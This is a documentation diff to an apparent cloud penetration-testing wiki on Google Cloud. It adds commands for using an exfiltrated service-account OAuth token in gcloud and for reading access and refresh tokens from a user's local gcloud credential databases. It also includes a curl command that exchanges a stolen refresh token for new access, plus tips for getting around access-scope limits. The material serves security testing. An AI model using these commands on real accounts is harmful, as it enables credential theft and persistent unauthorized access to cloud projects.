GITBOOK-545: change request with no subject merged in GitBook

pentesting-cloud/gcp-security/README.md

@@ -211,6 +211,22 @@ gcloud config unset auth/disable_ssl_validation
 gcloud config unset core/custom_ca_certs_file
 ```
 
+### OAuth token configure in gcloud
+
+In order to **use an exfiltrated service account OAuth token from the metadata endpoint** you can just do:
+
+```bash
+# Via env vars
+export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
+gcloud projects list
+
+# Via setup
+echo "<token>" > /some/path/to/token
+gcloud config set auth/access_token_file /some/path/to/token
+gcloud projects list
+gcloud config unset auth/access_token_file
+```
+
 ## References
 
 * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)

pentesting-cloud/gcp-security/gcp-non-svc-persistance.md

@@ -87,21 +87,27 @@ This is because by default you **will be able to use the refresh token as long**
 
 To get the current token of a user you can run:
 
+{% code overflow="wrap" %}
 ```bash
 sqlite3 ./.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
 ```
+{% endcode %}
 
 To get the details to generate a new access token run:
 
+{% code overflow="wrap" %}
 ```bash
 sqlite3 ./.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
 ```
+{% endcode %}
 
 To get a new refreshed access token with the refresh token, client ID, and client secret run:
 
+{% code overflow="wrap" %}
 ```bash
 curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
 ```
+{% endcode %}
 
 ### Service Accounts
 
@@ -120,15 +126,15 @@ Some remediations for these techniques are explained in [https://www.netskope.co
 
 When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has.
 
-The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OUATH token** without restriction or to **jump to a different VM less restricted**.
+The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OAuth token** without restriction or to **jump to a different VM less restricted**.
 
 **Pop another box**
 
 It's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the **`auth/cloud-platform`** all-inclusive scope.
 
 Also keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).
 
-**Find service account keys**
+**Search service account keys**
 
 Google states very clearly [**"Access scopes are not a security mechanism… they have no effect when making requests not authenticated through OAuth"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam).
 
@@ -138,7 +144,7 @@ Check if any service account has exported a key at some point with:
 
 ```bash
 for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
-    echo Looking for keys for $i:
+    echo "Looking for keys for $i:"
     gcloud iam service-accounts keys list --iam-account $i
 done
 ```